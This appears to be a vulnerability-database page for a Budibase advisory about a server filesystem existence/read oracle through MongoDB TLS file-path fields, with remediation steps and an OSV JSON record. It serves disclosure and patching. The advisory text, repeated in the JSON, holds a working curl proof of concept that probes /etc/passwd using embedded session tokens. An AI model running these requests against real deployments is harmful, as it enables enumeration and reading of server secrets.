CVE-2026-73409: Budibase Server Filesystem Existence/Read Oracle Vulnerability

HIGH
Advisory Identifier: GHSA-ppr4-5f46-j9c6
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CWE-209
Published
Advisory Summary

CVE-2026-73409 is a HIGH server filesystem existence/read oracle vulnerability (CWE-209: Generation of Error Message Containing Sensitive Information) affecting Budibase libraries in the npm ecosystem. The issue involves server filesystem existence/read oracle via builder-controlled mongodb tlscertificatekeyfile. Remediation is available in the latest vendor maintenance releases.

CVE-2026-73409 at a Glance

CVE Identifier CVE-2026-73409
GHSA Identifier GHSA-ppr4-5f46-j9c6
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-209: Generation of Error Message Containing Sensitive Information
Affected Product Budibase
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-73409

To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@budibase/server fixed: Latest secure release 
npm install @budibase/server@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls @budibase/server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-73409, inspect your project dependencies using npm:

npm ls @budibase/server

Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls @budibase/server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-209: Generation of Error Message Containing Sensitive Information, where the product generates an error message that includes sensitive information about its environment, users, or associated data. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary When creating a MongoDB datasource, Budibase passes the `tlsCertificateKeyFile` and `tlsCAFile` fields straight to the MongoDB driver as server-side file paths. On Budibase Cloud a customer cannot place files on the server, so these fields only let a builder reference arbitrary absolute paths on the underlying multi-tenant server. When the datasource is verified, the driver performs a real filesystem read of that path, and the error differs by file state, turning `/api/datasources/verify` into an arbitrary-path existence/read oracle over the whole server filesystem. ## Root Cause `packages/server/src/integrations/mongodb.ts` passes `config.tlsCertificateKeyFile` / `config.tlsCAFile` directly to `new MongoClient(config.connectionString, options)` as filesystem paths, with no allow-list, no confinement to a certificates directory, and no rejection of absolute / `..` paths. POC ## Reproduction — paste each line, press Enter Line 1 (existing file — proves the file is READ): ``` curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/etc/passwd"}}}' ``` RESPONSE {"connected":false,"error":"error:0480006C:PEM routines::no start line"} Line 2 (missing file — path is reflected): ``` curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/nonexistent/pentest/xyz"}}}' ``` RESPONSE {"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"} ### Actual output ```text /etc/passwd -> {"connected":false,"error":"error:0480006C:PEM routines::no start line"} (EXISTS, was READ) /nonexistent/pentest/xyz -> {"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"} (MISSING, path reflected) ``` Existing files return a "PEM routines" error (the file was read but is not PEM); missing files return `ENOENT ... open '<path>'` with the path echoed back. This confirms a real filesystem read at the attacker-chosen absolute path. Confirmed 3/3 separate runs. ## Impact | Who / what is affected | How | |---|---| | The underlying multi-tenant Cloud server | Arbitrary-path existence/read oracle from a builder account | | Server config / secret files, other tenants' paths | Located by enumerating paths (exists vs missing) | | PEM/certificate files on the server | Content exfiltratable via mutual-TLS to an attacker MongoDB server (mechanism) | ## Recommended Fix 1. On managed/Cloud, disallow `tlsCertificateKeyFile` / `tlsCAFile` as filesystem paths; accept PEM content and write it to a per-connection temp file under a fixed directory. 2. Reject absolute and `..` paths; confine any file reference to an allow-listed certificates directory. 3. Route the MongoDB connection host through the SSRF blacklist, as the REST integration already does.

CVE-2026-73409 Affected Budibase Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
@budibase/server
npm/@budibase/server
npm
≤ 3.38.1

References

GitHub Advisory / Wiki ADVISORY
https://github.com/Budibase/budibase/security/advisories/GHSA-ppr4-5f46-j9c6
Budibase Source Repository REPOSITORY
https://github.com/Budibase/budibase/pull/19244
Security Fix Commit FIX COMMIT
https://github.com/Budibase/budibase/commit/5e19b935536d6d1be1f47100e43c6fb30917826e
Budibase Source Repository REPOSITORY
https://github.com/Budibase/budibase
Budibase Release RELEASE
https://github.com/Budibase/budibase/releases/tag/3.40.0

Frequently Asked Questions

What is CVE-2026-73409?
CVE-2026-73409 is a security vulnerability in Budibase involving Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile under CWE-209: Generation of Error Message Containing Sensitive Information.
Which Budibase versions are affected?
Affected versions include releases prior to current release patches across affected packages: @budibase/server.
What version fixes CVE-2026-73409?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is @budibase/server affected?
Yes, @budibase/server is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2026-73409?
CVE-2026-73409 is classified under CWE-209: Generation of Error Message Containing Sensitive Information (The product generates an error message that includes sensitive information about its environment, users, or associated data.).
How can I check npm dependencies for CVE-2026-73409?
Run the dependency tree command: 'npm ls @budibase/server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ppr4-5f46-j9c6",
  "modified" : "2026-08-12T19:20:06Z",
  "published" : "2026-07-24T21:16:41Z",
  "aliases" : [ "CVE-2026-73409" ],
  "summary" : " Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile",
  "details" : "## Summary\nWhen creating a MongoDB datasource, Budibase passes the `tlsCertificateKeyFile` and `tlsCAFile` fields straight to the MongoDB driver as server-side file paths. On Budibase Cloud a customer cannot place files on the server, so these fields only let a builder reference arbitrary absolute paths on the underlying multi-tenant server. When the datasource is verified, the driver performs a real filesystem read of that path, and the error differs by file state, turning `/api/datasources/verify` into an arbitrary-path existence/read oracle over the whole server filesystem.\n\n## Root Cause\n`packages/server/src/integrations/mongodb.ts` passes `config.tlsCertificateKeyFile` / `config.tlsCAFile` directly to `new MongoClient(config.connectionString, options)` as filesystem paths, with no allow-list, no confinement to a certificates directory, and no rejection of absolute / `..` paths.\n\nPOC \n## Reproduction — paste each line, press Enter\n\nLine 1 (existing file — proves the file is READ):\n```\ncurl -s -X POST \"https://hasinocompany.budibase.app/api/datasources/verify\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" -d '{\"datasource\":{\"name\":\"probe\",\"source\":\"MONGODB\",\"type\":\"datasource\",\"config\":{\"connectionString\":\"mongodb://127.0.0.1:27017/?tls=true\",\"database\":\"x\",\"tlsCertificateKeyFile\":\"/etc/passwd\"}}}'\n```\n\nRESPONSE\n\n{\"connected\":false,\"error\":\"error:0480006C:PEM routines::no start line\"} \n\n\n\nLine 2 (missing file — path is reflected):\n```\ncurl -s -X POST \"https://hasinocompany.budibase.app/api/datasources/verify\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" -d '{\"datasource\":{\"name\":\"probe\",\"source\":\"MONGODB\",\"type\":\"datasource\",\"config\":{\"connectionString\":\"mongodb://127.0.0.1:27017/?tls=true\",\"database\":\"x\",\"tlsCertificateKeyFile\":\"/nonexistent/pentest/xyz\"}}}'\n```\n\nRESPONSE\n\n{\"connected\":false,\"error\":\"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'\"}\n\n\n### Actual output\n```text\n/etc/passwd               -> {\"connected\":false,\"error\":\"error:0480006C:PEM routines::no start line\"}          (EXISTS, was READ)\n/nonexistent/pentest/xyz  -> {\"connected\":false,\"error\":\"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'\"}   (MISSING, path reflected)\n```\nExisting files return a \"PEM routines\" error (the file was read but is not PEM); missing files return `ENOENT ... open '<path>'` with the path echoed back. This confirms a real filesystem read at the attacker-chosen absolute path. Confirmed 3/3 separate runs.\n\n\n\n## Impact\n| Who / what is affected | How |\n|---|---|\n| The underlying multi-tenant Cloud server | Arbitrary-path existence/read oracle from a builder account |\n| Server config / secret files, other tenants' paths | Located by enumerating paths (exists vs missing) |\n| PEM/certificate files on the server | Content exfiltratable via mutual-TLS to an attacker MongoDB server (mechanism) |\n\n## Recommended Fix\n1. On managed/Cloud, disallow `tlsCertificateKeyFile` / `tlsCAFile` as filesystem paths; accept PEM content and write it to a per-connection temp file under a fixed directory.\n2. Reject absolute and `..` paths; confine any file reference to an allow-listed certificates directory.\n3. Route the MongoDB connection host through the SSRF blacklist, as the REST integration already does.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.38.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-ppr4-5f46-j9c6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/pull/19244"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/commit/5e19b935536d6d1be1f47100e43c6fb30917826e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/releases/tag/3.40.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-209" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-24T21:16:41Z",
    "nvd_published_at" : null
  }
}